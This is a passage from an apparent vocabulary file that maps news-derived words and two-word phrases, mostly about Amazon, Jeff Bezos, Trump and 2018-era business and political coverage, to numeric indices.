23459, "reason georgieva": 23460, "property advisor": 23461, "devices artificial": 23462, "feel ashamed": 23463, "giant awakens": 23464, "defense asks": 23465, "act casa": 23466, "mpls": 23467, "amazon aggressive": 23468, "discouraged consumers": 23469, "story betsy": 23470, "headliner donald": 23471, "received guidance": 23472, "disconnected": 23473, "oncologists": 23474, "margins consumer": 23475, "house characterizing": 23476, "blurry faces": 23477, "companies potentially": 23478, "expected amazon": 23479, "captionwas": 23480, "hurricane relief": 23481, "delivery improve": 23482, "dayssincepubdate null": 23483, "better ways": 23484, "tents": 23485, "juni": 23486, "strike fighter": 23487, "rekognition faces": 23488, "respectable republicans": 23489, "higher 2018": 23490, "just takes": 23491, "shipping centers": 23492, "accuser": 23493, "enervating": 23494, "links hear": 23495, "sears collapse": 23496, "rising pay": 23497, "notable moment": 23498, "buffalo police": 23499, "amazon equipment": 23500, "negotiators trump": 23501, "guin copper": 23502, "trump reality": 23503, "partners": 23504, "allegedly allowing": 23505, "maneuvers": 23506, "rally bouncing": 23507, "staffers signed": 23508, "demanding return": 23509, "initiative according": 23510, "aboard jon": 23511, "various figures": 23512, "urgently": 23513, "emerging democratic": 23514, "digitalization": 23515, "model graphic": 23516, "original members": 23517, "mulvaney did": 23518, "radio wares": 23519, "george miranda": 23520, "newsroom dropped": 23521, "wonder wheel": 23522, "charting week": 23523, "pils": 23524, "essential infrastructure": 23525, "richard snapes": 23526, "island south": 23527, "allegedly includes": 23528, "significant strain": 23529, "confiscate": 23530, "scarcely": 23531, "docs reality": 23532, "data collection": 23533, "presumably leads": 23534, "jcp plummeted": 23535, "intense lobbying": 23536, "reasons think": 23537, "sovereign wealth": 23538, "workplace improved": 23539, "diamond sales": 23540, "operating monopoly": 23541, "shred": 23542, "followed bezos": 23543, "amazon initially": 23544, "jacobs": 23545, "potential customers": 23546, "zydtv2ojir": 23547, "company committed": 23548, "ceo cnbc": 23549, "maycaybeeler": 23550, "lobbied hard": 23551, "term sustainability": 23552, "campaigner": 23553, "opportunity say": 23554, "hat projection": 23555, "judges did": 23556, "randall stephenson": 23557, "offer employees": 23558, "toole stepped": 23559, "joe hogsett": 23560, "info": 23561, "yes deliver": 23562, "teenagers breitbart": 23563, "hurd don": 23564, "reading singapore": 23565, "alleged": 23566, "program designed": 23567, "jobs broader": 23568, "employees livable": 23569, "dershowitz dershowitz": 23570, "apple gives": 23571, "mac mortgages": 23572, "nearby detroit": 23573, "station kjzz": 23574, "wall teeing": 23575, "specifics unclear": 23576, "cap companies": 23577, "sandoz": 23578, "australian vendors": 23579, "better labor": 23580, "posed bigger": 23581, "listed amazon": 23582, "additional context": 23583, "mobile devices": 23584, "half jamaican": 23585, "jeff berman": 23586, "says ami": 23587, "reads nyt": 23588, "star disclosed": 23589, "kate conger": 23590, "morgan wrote": 23591, "sept 2018": 23592, "tv news": 23593, "dangling": 23594, "declare hunting": 23595, "engaged": 23596, "mini office": 23597, "kroger recently": 23598, "torv18": 23599, "twitter makes": 23600, "amazon picking": 23601, "totaled trillion": 23602, "post really": 23603, "minimise": 23604, "material handlers": 23605, "firefighter survives": 23606, "infusion articleshow": 23607, "breckman": 23608, "hamza shaban": 23609, "weakening iphone": 23610, "sleuthing": 23611, "tariffs hitting": 23612, "mobile order": 23613, "kirincic katie": 23614, "aspirations": 23615, "sensitivity analysis": 23616, "hardly secret": 23617, "globally owned": 23618, "election prosecutors": 23619, "sripping": 23620, "shelley sold": 23621, "possible customer": 23622, "clodagh kilcoyne": 23623, "cbs televisions": 23624, "concern observation": 23625, "brave new": 23626, "bezos responds": 23627, "grubby fight": 23628, "joanna coles": 23629, "people false": 23630, "generated slim": 23631, "sold 516": 23632, "reserve leading": 23633, "preferential treatment": 23634, "supplying": 23635, "sources delving": 23636, "otc offering": 23637, "cancer literally": 23638, "disappearance": 23639, "new net": 23640, "unmasking law": 23641, "country bezos": 23642, "preventing package": 23643, "krakow researcher": 23644, "investigation arose": 23645, "atop forbes": 23646, "ice immigration": 23647, "beijing dunford": 23648, "investor amazon": 23649, "tax wall": 23650, "highpaying jobs": 23651, "banning kenosha": 23652, "week jasco": 23653, "additional carrier": 23654, "popularize": 23655, "scientist": 23656, "brain idea": 23657, "especially hollow": 23658, "mcmuffin": 23659, "fb raising": 23660, "took toll": 23661, "products increased": 23662, "open letter": 23663, "jeremiah tower": 23664, "article protesters": 23665, "satirical image": 23666, "y9e layerx": 23667, "economic angst": 23668, "ashley": 23669, "alleged prejudice": 23670, "york leaders": 23671, "continue using": 23672, "wholly compelling": 23673, "amazon running": 23674, "ami received": 23675, "browsers decreased": 23676, "clear indication": 23677, "cashier free": 23678, "casts long": 23679, "protest yields": 23680, "uk": 23681, "jurisdiction amazon": 23682, "maintains significant": 23683, "source water": 23684, "amazon avoid": 23685, "plungers": 23686, "reliability feeney": 23687, "david fahrenthold": 23688, "boomers ages": 23689, "arms race": 23690, "reportedly bounced": 23691, "poaching": 23692, "trump overt": 23693, "season read": 23694, "misguided policy": 23695, "furthered": 23696, "biff tannen": 23697, "working paper": 23698, "emerged related": 23699, "ford": 23700, "a4ee t0": 23701, "did choose": 23702, "hardline rhetoric": 23703, "suggesting range": 23704, "cultural": 23705, "nitrous": 23706, "reportedly reach": 23707, "new globalisation": 23708, "mngmt llc": 23709, "sweet sorrow": 23710, "partially function": 23711, "competition right": 23712, "goodreads bezos": 23713, "dozen goldman": 23714, "shelf life": 23715, "fighters": 23716, "website best": 23717, "books store": 23718, "wired": 23719, "vandal netflix": 23720, "enright": 23721, "sudden": 23722, "euros 847": 23723, "economic boost": 23724, "behemoth felt": 23725, "house lawn": 23726, "124 xsmall": 23727, "estimate": 23728, "china presence": 23729, "friend ami": 23730, "sidekick": 23731, "book fiction": 23732, "yanny": 23733, "hamptons": 23734, "ongoing government": 23735, "habanero sauce": 23736, "restraining trade": 23737, "gene park": 23738, "felt spots": 23739, "bristles": 23740, "tax deductions": 23741, "carveout social": 23742, "greatest shares": 23743, "incisive": 23744, "growing adoption": 23745, "turkish president": 23746, "electric bills": 23747, "cheddar reported": 23748, "foods cashiers": 23749, "alibaba stock": 23750, "times carbon": 23751, "delivery vans": 23752, "omaha": 23753, "box 1988": 23754, "garner remarks": 23755, "discuss pending": 23756, "tech analyst": 23757, "insurance disability": 23758, "bank head": 23759, "house accordingly": 23760, "ways felt": 23761, "forbes media": 23762, "paid regardless": 23763, "intern monica": 23764, "e4 a4ee": 23765, "lauren greenfield": 23766, "selections": 23767, "cover usps": 23768, "newser amazon": 23769, "street economists": 23770, "ad targeting": 23771, "tourism trips": 23772, "regulate": 23773, "stocks big": 23774, "supporting media": 23775, "amazon execs": 23776, "lp instead": 23777, "convicts man": 23778, "single digit": 23779, "betting line": 23780, "laurence": 23781, "diesel vehicles": 23782, "links best": 23783, "expensive affair": 23784, "superficial level": 23785, "ends tomorrow": 23786, "doesn directly": 23787, "utilizes parcel": 23788, "nystrom": 23789, "state instead": 23790, "operations associate": 23791, "worse yang": 23792, "kennedy airport": 23793, "dollars time": 23794, "did little": 23795, "industry defined": 23796, "retain workers": 23797, "presence close": 23798, "raises": 23799, "chinese telecommunications": 23800, "hired security": 23801, "monthly active": 23802, "phase progresses": 23803, "discoveries": 23804, "dangerous category": 23805, "commerce flows": 23806, "day zeroes": 23807, "supplier defended": 23808, "box stores": 23809, "lingering": 23810, "investopedia original": 23811, "kamhi began": 23812, "revenge": 23813, "say bespoke": 23814, "virginia experts": 23815, "billionaire amazon": 23816, "hp_lead_pos4": 23817, "riggen": 23818, "flying tech": 23819, "longtime private": 23820, "hood foundations": 23821, "publically state": 23822, "sell artificial": 23823, "ft reported": 23824, "dog authorities": 23825, "virginia correspond": 23826, "retail veteran": 23827, "journalistic decisions": 23828, "future opportunities": 23829, "labs washington": 23830, "closely monitoring": 23831, "hectares jair": 23832, "commerce king": 23833, "accusing britain": 23834, "new hq2s": 23835, "pllc": 23836, "2900": 23837, "person private": 23838, "officials lawmakers": 23839, "people associated": 23840, "vote capped": 23841, "just granted": 23842, "investigators knew": 23843, "separate industries": 23844, "argues looming": 23845, "secular": 23846, "payments commerce": 23847, "style article": 23848, "members voted": 23849, "speak nonetheless": 23850, "airport terminals": 23851, "strong defender": 23852, "blasio spokeswoman": 23853, "writer ronan": 23854, "regulators recently": 23855, "note illustration": 23856, "insurance restrictions": 23857, "leftist double": 23858, "diplomatic": 23859, "cease promoting": 23860, "smores": 23861, "cohesive": 23862, "big gentleman": 23863, "conditions good": 23864, "pliable": 23865, "tom shea": 23866, "mills assumes": 23867, "boxes users": 23868, "intently": 23869, "easy decision": 23870, "ossenbeck wrote": 23871, "tostring k1a": 23872, "make appropriate": 23873, "branch sacrosanct": 23874, "enquirer publishers": 23875, "endorsing product": 23876, "writing critically": 23877, "furtherance": 23878, "david jackson": 23879, "firm london": 23880, "race trump": 23881, "societal": 23882, "recommendation engines": 23883, "fun facts": 23884, "connect businesses": 23885, "shares narwhal": 23886, "specific data": 23887, "responsible policies": 23888, "previously projected": 23889, "planet stream": 23890, "burlington aki": 23891, "propel": 23892, "decade": 23893, "hold broadcast": 23894, "processed filtered": 23895, "european licensing": 23896, "bring beijing": 23897, "initiative trump": 23898, "authors writing": 23899, "message bloomberg": 23900, "coordinator": 23901, "0999845284": 23902, "customer review": 23903, "book dressing": 23904, "improve safety": 23905, "upside exactly": 23906, "revenue targets": 23907, "kid version": 23908, "gained lots": 23909, "buckner rose": 23910, "having \u0430a": 23911, "demonstrating link": 23912, "capital value": 23913, "ago seminole": 23914, "halt sales": 23915, "counted days": 23916, "religion age": 23917, "incendiary salvo": 23918, "candidates votes": 23919, "1547430310000": 23920, "great working": 23921, "assumed": 23922, "atlantic": 23923, "agric water": 23924, "state standard": 23925, "outright ami": 23926, "says new": 23927, "versions alexa": 23928, "given different": 23929, "small brands": 23930, "eventssurrounding": 23931, "credit score": 23932, "corbyn leader": 23933, "wasteland agents": 23934, "crazed moths": 23935, "new rules": 23936, "predictions": 23937, "105 million": 23938, "outfit blue": 23939, "york decision": 23940, "motivations": 23941, "cicilline line": 23942, "successful real": 23943, "government centers": 23944, "youth protesters": 23945, "brass believes": 23946, "million peek": 23947, "allergy tablets": 23948, "briefly claim": 23949, "triad": 23950, "dorsey estimated": 23951, "political authoritarianism": 23952, "insecurity problems": 23953, "amazon paul": 23954, "korean allies": 23955, "homeland safety": 23956, "middleman": 23957, "onetime": 23958, "trump ban": 23959, "governance research": 23960, "rates ruling": 23961, "bad employees": 23962, "financial services": 23963, "clearly compelled": 23964, "ho hum": 23965, "uncertainties": 23966, "radical individualist": 23967, "fight counterfeits": 23968, "explosive anecdotes": 23969, "tune": 23970, "direct reaction": 23971, "advisor steve": 23972, "christmas sundaythoughts": 23973, "fans wouldn": 23974, "consumer intelligence": 23975, "election felony": 23976, "alerting": 23977, "onplayerready": 23978, "industry songwriters": 23979, "locations getty": 23980, "fallon points": 23981, "prefabricated homes": 23982, "wage amazon": 23983, "retail purchases": 23984, "nerdwallet credit": 23985, "buying division": 23986, "dispatch expect": 23987, "eyed technocrat": 23988, "couple previously": 23989, "flagship commerce": 23990, "poses question": 23991, "legislatively": 23992, "people poor": 23993, "bench": 23994, "market sector": 23995, "represents district": 23996, "humans animals": 23997, "conformity": 23998, "good examples": 23999, "modern monopoly": 24000, "news topics": 24001, "sec bluefin": 24002, "universal service": 24003, "continued decline": 24004, "tumble puts": 24005, "chaotic scene": 24006, "keeping people": 24007, "sent shockwaves": 24008, "francois durand": 24009, "bank transfers": 24010, "test block": 24011, "dress alex": 24012, "pronounced period": 24013, "american teenagers": 24014, "ricci": 24015, "democracy facebook": 24016, "design game": 24017, "finnish": 24018, "bucks": 24019, "sow fear": 24020, "prevent monopolies": 24021, "amazon tactics": 24022, "sr spons": 24023, "pearlstein says": 24024, "netscape": 24025, "bought 514": 24026, "past support": 24027, "outlook stays": 24028, "lunar new": 24029, "federal databases": 24030, "admirers amazon": 24031, "little late": 24032, "bring 130": 24033, "surveyed": 24034, "dowd tried": 24035, "discount deliveries": 24036, "sanders inaccurate": 24037, "bochy led": 24038, "african green": 24039, "cnn justice": 24040, "names trump": 24041, "service used": 24042, "awaits report": 24043, "additional asylum": 24044, "rejected saying": 24045, "oozing": 24046, "cabo": 24047, "new court": 24048, "famed washington": 24049, "mackenzie prominent": 24050, "setting aside": 24051, "offers cody": 24052, "revealed intimate": 24053, "financial gathering": 24054, "protest contracts": 24055, "bringing antitrust": 24056, "signature george": 24057, "successful rise": 24058, "gosh": 24059, "wadhwa says": 24060, "sympathetic figure": 24061, "computers museum": 24062, "floridian academy": 24063, "human guests": 24064, "insulting remarks": 24065, "government cars": 24066, "leave reviews": 24067, "seconds rod": 24068, "service owned": 24069, "unified teams": 24070, "270 words": 24071, "higher inflation": 24072, "accomplish particular": 24073, "1542140927 mod": 24074, "elaborate dash": 24075, "leary argues": 24076, "stole customer": 24077, "turnover survey": 24078, "projects 262": 24079, "law school": 24080, "wisconsin lame": 24081, "capricious": 24082, "despite criticisms": 24083, "onerous law": 24084, "cooperatives": 24085, "promoting misinformation": 24086, "fabric markers": 24087, "sofia coppola": 24088, "trump audience": 24089, "bolts securing": 24090, "rdb": 24091, "consider location": 24092, "real man": 24093, "minister narendramodi": 24094, "reprogram": 24095, "america does": 24096, "\u014222": 24097, "online writes": 24098, "manuel miranda": 24099, "bullet": 24100, "far different": 24101, "processing companies": 24102, "book george": 24103, "normous online": 24104, "disbursements": 24105, "cash 2018": 24106, "sgt vince": 24107, "international studies": 24108, "held congress": 24109, "flashpoint": 24110, "missouri killed": 24111, "oecd": 24112, "including khashoggi": 24113, "important pillpack": 24114, "fluctuating": 24115, "zakrzewski": 24116, "aston": 24117, "google acquisitions": 24118, "katie graham": 24119, "popes": 24120, "buy provider": 24121, "737 max": 24122, "exit postal": 24123, "removeclass cd": 24124, "walmart workers": 24125, "new mailbox": 24126, "term cash": 24127, "nevermind": 24128, "immense": 24129, "including salma": 24130, "successfully resisted": 24131, "sundaythoughts": 24132, "strongly increasing": 24133, "ray snoddy": 24134, "markets stocks": 24135, "canada economist": 24136, "luxor": 24137, "sales ustr": 24138, "toga disrespectful": 24139, "day theatrical": 24140, "entry jeff": 24141, "hedging inflated": 24142, "informal": 24143, "brazilian supreme": 24144, "net profit": 24145, "ebay stock": 24146, "50pm contributor": 24147, "surveil": 24148, "returned just": 24149, "creatively": 24150, "bret": 24151, "477 058": 24152, "shultz": 24153, "post broadcast": 24154, "deadly london": 24155, "michael kors": 24156, "thejustice": 24157, "yarmulke": 24158, "various affiliate": 24159, "staying home": 24160, "gentrifying": 24161, "tvietor08": 24162, "destroying small": 24163, "taxes child": 24164, "companies suddenly": 24165, "legal interpretations": 24166, "wwg1wga apparently": 24167, "reappears year": 24168, "deliveries means": 24169, "banana fucking": 24170, "buzzsaws escalating": 24171, "unlawful bias": 24172, "riechmann": 24173, "respond directly": 24174, "current subsidies": 24175, "vendors natural": 24176, "aapl abuse": 24177, "powerful tools": 24178, "nearly 500": 24179, "8217 high": 24180, "verticals": 24181, "surprisingly inexpensive": 24182, "2019 earnings": 24183, "lucca": 24184, "nevergoing": 24185, "agency package": 24186, "statement fedex": 24187, "unilateral defiance": 24188, "launch talks": 24189, "ridiculous consider": 24190, "conagra brands": 24191, "italy relations": 24192, "sports channels": 24193, "axios interview": 24194, "rekognition thanks": 24195, "transfer agency": 24196, "acute": 24197, "tweets accusing": 24198, "crowding": 24199, "sales day": 24200, "presidential edict": 24201, "president wasteful": 24202, "purposes minutes": 24203, "old indigenous": 24204, "pollock dundas": 24205, "bhagavad": 24206, "power stance": 24207, "constant disruption": 24208, "lee israel": 24209, "fortune related": 24210, "priceline": 24211, "twgmb": 24212, "cibc moves": 24213, "angeles details": 24214, "wilkinson": 24215, "shipping couple": 24216, "prowrestling": 24217, "hate government": 24218, "familie albrecht": 24219, "shelters kids": 24220, "poetry expressing": 24221, "puts companies": 24222, "matter told": 24223, "light roast": 24224, "mccarthy emerges": 24225, "storage networks": 24226, "amazon broken": 24227, "surefire deal": 24228, "solving climate": 24229, "longer selling": 24230, "news world": 24231, "tech lobby": 24232, "writing stories": 24233, "academics critical": 24234, "roulette washington": 24235, "disclaim": 24236, "steadfast opponent": 24237, "company briefly": 24238, "humidity": 24239, "increased government": 24240, "ai boom": 24241, "brexit dividends": 24242, "repeated targets": 24243, "tentative agreements": 24244, "manhattan rodriguez": 24245, "frustration amounts": 24246, "washington asked": 24247, "protectionist instincts": 24248, "rejecting fake": 24249, "weakening global": 24250, "big losers": 24251, "hunter calif": 24252, "table robert": 24253, "company combs": 24254, "development flows": 24255, "lower wage": 24256, "thirds": 24257, "critics amazon": 24258, "faith settlement": 24259, "sectors oligopoly": 24260, "jake peralta": 24261, "owner ryan": 24262, "typical bureaucracy": 24263, "cooper asking": 24264, "potentially large": 24265, "times pence": 24266, "jedi cloud": 24267, "nonpartisan melissa": 24268, "sexually assaulted": 24269, "market sonos": 24270, "terminal dues": 24271, "q0 split": 24272, "better cash": 24273, "irreparable": 24274, "providing services": 24275, "tech mogul": 24276, "amazon publically": 24277, "council new": 24278, "providing oversight": 24279, "company critics": 24280, "unit saved": 24281, "lgbtq message": 24282, "nature reports": 24283, "goodbye": 24284, "aid": 24285, "friendly operating": 24286, "year ap": 24287, "yelp seeks": 24288, "woody cities": 24289, "apple goldman": 24290, "increase governor": 24291, "wheat director": 24292, "background start": 24293, "require corroboration": 24294, "beams laser": 24295, "companies computers": 24296, "alliance forcibly": 24297, "risky market": 24298, "major online": 24299, "powell pov": 24300, "mclemore": 24301, "guidance 2018": 24302, "press publishing": 24303, "campanelli office": 24304, "operator instructions": 24305, "photo michael": 24306, "sold 750": 24307, "known stalking": 24308, "pittsburgh": 24309, "article terrell": 24310, "married albawaba": 24311, "youtube cnbc": 24312, "gender dallas": 24313, "mona lisa": 24314, "meet surging": 24315, "industry catch": 24316, "mia past": 24317, "fish lips": 24318, "premium price": 24319, "recently claimed": 24320, "sanders pledged": 24321, "kantonalbank zurich": 24322, "biggest selling": 24323, "postmaster general": 24324, "apps": 24325, "commission retained": 24326, "vaguely": 24327, "masses": 24328, "fair 2018": 24329, "half mortal": 24330, "classification": 24331, "democrats party": 24332, "ohio illinois": 24333, "asset": 24334, "bilateral alliance": 24335, "laid blame": 24336, "colorado camp": 24337, "needed second": 24338, "smaller businesses": 24339, "rarely speaks": 24340, "terry crews": 24341, "trump repeatedly": 24342, "real opportunity": 24343, "puget": 24344, "retreated": 24345, "mueller scarborough": 24346, "cost business": 24347, "cbs kelly": 24348, "holiday party": 24349, "omarosa money": 24350, "media bezos": 24351, "daina beth": 24352, "costco ceo": 24353, "court upheld": 24354, "battery market": 24355, "met sanchez": 24356, "infrastructure improvements": 24357, "skift author": 24358, "vote": 24359, "opposed aiding": 24360, "wilkinson encourages": 24361, "stationary kitchens": 24362, "reasonable competition": 24363, "makes friends": 24364, "shipping world": 24365, "crummy coffee": 24366, "judiciary antitrust": 24367, "commentator matt": 24368, "lawmakers want": 24369, "prime rob": 24370, "legislator criticize": 24371, "based brands": 24372, "healthy": 24373, "brutally changed": 24374, "tutting": 24375, "market close": 24376, "jfp97kdkbp": 24377, "significant factor": 24378, "stinky muddy": 24379, "louisiana arson": 24380, "telling ceos": 24381, "missoula montana": 24382, "image 575x270": 24383, "visual capitalist": 24384, "track hunt": 24385, "anthony kennedy": 24386, "indigenous territories": 24387, "opinion readers": 24388, "stunning truth": 24389, "rich fox": 24390, "cool trumpkins": 24391, "community santiago": 24392, "1990s japanese": 24393, "manha manhattan": 24394, "fox information": 24395, "secure exclusives": 24396, "elizabeth jennings": 24397, "eastern chinese": 24398, "rights 3d": 24399, "chuck recently": 24400, "results amazon": 24401, "cash flow": 24402, "ooey": 24403, "campus split": 24404, "jails": 24405, "invasions": 24406, "x8 stringify": 24407, "time lawyer": 24408, "o2x": 24409, "shifts 352": 24410, "boggs": 24411, "forum article": 24412, "life selling": 24413, "lights": 24414, "berin": 24415, "\u0627\u062d": 24416, "democrats probes": 24417, "state senator": 24418, "later confirmed": 24419, "quite thing": 24420, "exit date": 24421, "unpopularity": 24422, "lease branded": 24423, "timed": 24424, "recalling losartan": 24425, "thomas chhay": 24426, "substantially increase": 24427, "abandons nyc": 24428, "extensive netflix": 24429, "cal state": 24430, "prices met": 24431, "wikileak infers": 24432, "grand idea": 24433, "accuses sessions": 24434, "service jobs": 24435, "dc crony": 24436, "really need": 24437, "official telling": 24438, "brox style": 24439, "ilsr": 24440, "summer trump": 24441, "secretary schedule": 24442, "contrast doesn": 24443, "eyster helping": 24444, "convenient time": 24445, "pointedly declined": 24446, "jeff hired": 24447, "equipment maker": 24448, "lee business": 24449, "suffers embarrassing": 24450, "florida florida": 24451, "china factor": 24452, "took 106": 24453, "grover oregon": 24454, "parties ability": 24455, "included quite": 24456, "merck lockheed": 24457, "psych files": 24458, "employees shares": 24459, "unallocated": 24460, "taking responsibility": 24461, "contradictions": 24462, "analyst andrew": 24463, "popular pillow": 24464, "tv services": 24465, "president drew": 24466, "court strategy": 24467, "buffett amazon": 24468, "gushing stream": 24469, "300 000": 24470, "emily chang": 24471, "publicity": 24472, "831 shares": 24473, "realtor": 24474, "secret lobbying": 24475, "ride 2019": 24476, "agnostic shareholder": 24477, "anticipated efficiencies": 24478, "wrote postcard": 24479, "republican house": 24480, "twins ex": 24481, "usps expenses": 24482, "superintendent susana": 24483, "doj antitrust": 24484, "cabinet zinke": 24485, "california uncontainable": 24486, "paywall": 24487, "running negative": 24488, "demarcations weakening": 24489, "pulitzer category": 24490, "disproportionately affected": 24491, "checkers saying": 24492, "analysts predict": 24493, "small number": 24494, "videotape": 24495, "worker complaints": 24496, "amazon hourly": 24497, "millionaire views": 24498, "government aws": 24499, "editorial say": 24500, "trading volumes": 24501, "previously thought": 24502, "mrk 21st": 24503, "long long": 24504, "silva": 24505, "flailing": 24506, "industries valerie": 24507, "base varma": 24508, "economy jobs": 24509, "fraternity party": 24510, "saw": 24511, "agitator joey": 24512, "brooklyn voters": 24513, "fingers ahead": 24514, "tomorrow delivery": 24515, "wouldn know": 24516, "yesterday decision": 24517, "political conspiracies": 24518, "grasp amazon": 24519, "interview sexual": 24520, "amazon secretive": 24521, "taking aim": 24522, "refugee families": 24523, "best scoring": 24524, "photoshop prime": 24525, "excrement": 24526, "acquiring long": 24527, "kart": 24528, "prosecutors trump": 24529, "seriously looking": 24530, "shown leadership": 24531, "bias trump": 24532, "breach just": 24533, "migrating": 24534, "extensive promotional": 24535, "odom eejodom3": 24536, "implored": 24537, "happened html": 24538, "value just": 24539, "charge officials": 24540, "jahnke longtime": 24541, "gap told": 24542, "tea tree": 24543, "independent content": 24544, "vote overturned": 24545, "highly unusual": 24546, "planet carbon": 24547, "professor": 24548, "report original": 24549, "senate education": 24550, "agency resource": 24551, "tennant": 24552, "consumer don": 24553, "saddam hussein": 24554, "reigns": 24555, "tweeted rocket": 24556, "kim tong": 24557, "comprises 550": 24558, "detention homes": 24559, "apace today": 24560, "sir martin": 24561, "single business": 24562, "harrowingly leads": 24563, "pancevski": 24564, "big trophy": 24565, "party amazon": 24566, "tucking": 24567, "directly trump": 24568, "means online": 24569, "segall wrote": 24570, "judges wins": 24571, "various public": 24572, "say craft": 24573, "regulators penalized": 24574, "explicitly threatened": 24575, "baseless": 24576, "workers 10k": 24577, "billion antitrust": 24578, "animated flick": 24579, "ftc decision": 24580, "inside power": 24581, "ny": 24582, "030 words": 24583, "feels separate": 24584, "launches task": 24585, "living working": 24586, "intc shares": 24587, "meth seizure": 24588, "book sad": 24589, "tailor": 24590, "profile different": 24591, "justifies": 24592, "aftershocks echo": 24593, "committee published": 24594, "attacks watered": 24595, "banner image": 24596, "jolt": 24597, "india unit": 24598, "529 2651": 24599, "maduro loyal": 24600, "john layfield": 24601, "fighting brutal": 24602, "mccain subsequently": 24603, "auto sales": 24604, "dirty word": 24605, "height display": 24606, "magnitude": 24607, "population growth": 24608, "iraq began": 24609, "claims forms": 24610, "fed says": 24611, "president berman": 24612, "asshole edward": 24613, "published months": 24614, "orthodoxy silence": 24615, "foul president": 24616, "business update": 24617, "pursuing paid": 24618, "right sandeep": 24619, "included ads": 24620, "needlessly reduce": 24621, "ending html": 24622, "later adapted": 24623, "downtown chicago": 24624, "imaginable": 24625, "avowed socialist": 24626, "gleam": 24627, "feels right": 24628, "excellency gov": 24629, "adrian": 24630, "theorist alex": 24631, "talks hopes": 24632, "foto source6pm": 24633, "monopolies asymmetric": 24634, "says oxfam": 24635, "father day": 24636, "farah riverhead": 24637, "consider scrapping": 24638, "1979": 24639, "management consulting": 24640, "trump targeting": 24641, "includes rethinking": 24642, "consolations": 24643, "immigration donald": 24644, "aquino plays": 24645, "cook left": 24646, "gardner decides": 24647, "free investigations": 24648, "million donated": 24649, "corporate work": 24650, "writers conservatives": 24651, "book examines": 24652, "restarting": 24653, "spec": 24654, "common goal": 24655, "renewal": 24656, "disrupts": 24657, "felt strongly": 24658, "tested drones": 24659, "doesn pass": 24660, "theft occurred": 24661, "columnists": 24662, "merchandiser": 24663, "company contacted": 24664, "second woman": 24665, "assad regime": 24666, "commenting": 24667, "discouraged talk": 24668, "rival tech": 24669, "scholarships supporting": 24670, "amazon bids": 24671, "doing total": 24672, "cheadle doncheadle": 24673, "key liaison": 24674, "currently columnist": 24675, "farhad manjoo": 24676, "commerce packages": 24677, "russell woody": 24678, "matthews ap": 24679, "lashinsky asked": 24680, "wages flat": 24681, "peeks": 24682, "larger stronger": 24683, "pages urging": 24684, "outrun": 24685, "open investigations": 24686, "belonged": 24687, "view bunch": 24688, "extend gains": 24689, "trump stiffing": 24690, "cozy relationship": 24691, "moneyweb": 24692, "unaffected": 24693, "market competition": 24694, "index added": 24695, "billion romancing": 24696, "barr": 24697, "easter": 24698, "visit malawi": 24699, "fedex logistics": 24700, "people wage": 24701, "lucrative revenue": 24702, "annexing new": 24703, "trulia stay": 24704, "amy krouse": 24705, "kent wash": 24706, "forces american": 24707, "camping grounds": 24708, "hoy blackfriday": 24709, "sends letter": 24710, "democratic challenger": 24711, "temple": 24712, "reportedly looking": 24713, "act law": 24714, "khanna california": 24715, "cumulative": 24716, "offering low": 24717, "testifying": 24718, "espite growth": 24719, "site wish": 24720, "destroying native": 24721, "elizabeth philip": 24722, "honduran": 24723, "anonymous commentary": 24724, "large check": 24725, "corrected graphic": 24726, "texts published": 24727, "taketh away": 24728, "occasionally happens": 24729, "earnings positions": 24730, "tableau software": 24731, "states constitution": 24732, "2020 cardiologists": 24733, "bloomfield new": 24734, "quirky words": 24735, "moisture wicking": 24736, "wage thank": 24737, "additional details": 24738, "execs": 24739, "week flurry": 24740, "sponsors moz": 24741, "today opinion": 24742, "recorded telephone": 24743, "editorial cuba": 24744, "daughter ordered": 24745, "wild type": 24746, "house historical": 24747, "countries including": 24748, "consumers amazon": 24749, "tech contractors": 24750, "people questioning": 24751, "amazon tropical": 24752, "retakes": 24753, "appreciating real": 24754, "manhattan prosecutors": 24755, "thebrowser": 24756, "exciting growth": 24757, "random creek": 24758, "partners estimated": 24759, "saying congress": 24760, "wouldn talk": 24761, "brenda snipes": 24762, "510bn latest": 24763, "invest 230": 24764, "lawsuit photos": 24765, "increase analysts": 24766, "t6grrlczs8 jon": 24767, "street expected": 24768, "stubs showed": 24769, "doing needle": 24770, "york office": 24771, "american small": 24772, "including dispatches": 24773, "ben_richie": 24774, "infrastructure immigration": 24775, "hetu retail": 24776, "scheduled air": 24777, "substantial investigation": 24778, "status 1041865777173823488": 24779, "6_5": 24780, "optum": 24781, "watchdog journalists": 24782, "hairpieces": 24783, "twitter kyleperisic": 24784, "considering locating": 24785, "headquarters practically": 24786, "tm inauguration": 24787, "source ashland": 24788, "revolutionized": 24789, "byers": 24790, "livewire": 24791, "jeffrey sold": 24792, "verylong": 24793, "dishonest media": 24794, "troubling internal": 24795, "critical presidential": 24796, "stash worth": 24797, "soup lululemon": 24798, "mesrobian director": 24799, "thumbnail hide": 24800, "tragedy strikes": 24801, "billion euros": 24802, "catch phrases": 24803, "nbcsnl": 24804, "helps earn": 24805, "splc lumps": 24806, "economics laureate": 24807, "rides john": 24808, "pj": 24809, "face commercial": 24810, "special blend": 24811, "crime houston": 24812, "offshore": 24813, "uber 2018": 24814, "bailing": 24815, "meaning trump": 24816, "vanishing": 24817, "major": 24818, "headquarters toronto": 24819, "asking president": 24820, "transmit messages": 24821, "davidson previously": 24822, "knife acronym": 24823, "communication failures": 24824, "group moveon": 24825, "retail adjacent": 24826, "lyla": 24827, "delivery trump": 24828, "pulled gun": 24829, "state updated": 24830, "transactional": 24831, "rooms ikea": 24832, "mets": 24833, "marijuana laws": 24834, "fare changes": 24835, "honest discussion": 24836, "mayer brands": 24837, "juice handy": 24838, "barr provided": 24839, "mission network": 24840, "work sanders": 24841, "followed nshongore": 24842, "cleveland cavaliers": 24843, "displease": 24844, "grabbing policy": 24845, "farm loopholes": 24846, "caused demand": 24847, "reasoned": 24848, "provided national": 24849, "1974": 24850, "constitution adopted": 24851, "ages 2018": 24852, "independent merchants": 24853, "padded envelopes": 24854, "agency aca": 24855, "staffer thomas": 24856, "249 shares": 24857, "talks warns": 24858, "opposes": 24859, "funds adopted": 24860, "hill geekwire": 24861, "turkey evidence": 24862, "fuel tanks": 24863, "ratings posted": 24864, "privatisation": 24865, "e4 v4": 24866, "amazon reasoning": 24867, "summit north": 24868, "breached eu": 24869, "sees retail": 24870, "dakota indiana": 24871, "governors voted": 24872, "business briefs": 24873, "post continued": 24874, "donations congress": 24875, "hit record": 24876, "remains quite": 24877, "0854et copyright": 24878, "businesses bribed": 24879, "biggest shipper": 24880, "court presents": 24881, "penetrate commerce": 24882, "000 indirect": 24883, "reports noted": 24884, "clearly 